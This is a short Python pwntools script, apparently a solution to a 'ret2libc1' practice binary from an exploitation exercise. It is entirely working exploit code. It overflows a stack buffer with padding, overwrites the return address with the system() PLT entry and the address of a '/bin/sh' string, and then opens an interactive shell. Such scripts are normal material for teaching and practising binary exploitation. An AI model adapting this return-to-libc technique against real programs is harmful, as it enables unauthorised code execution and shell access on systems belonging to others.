#!/usr/bin/env python
# coding=utf-8
from pwn import *

io = process("./ret2libc1")
elf = ELF("./ret2libc1")
system_plt = elf.plt["system"]
bin_sh = next(elf.search(b'/bin/sh'))

payload = b'A' * (0x8c-0x1c) + p32(system_plt) + p32(0x00) + p32(bin_sh)
io.sendline(payload)
io.interactive()
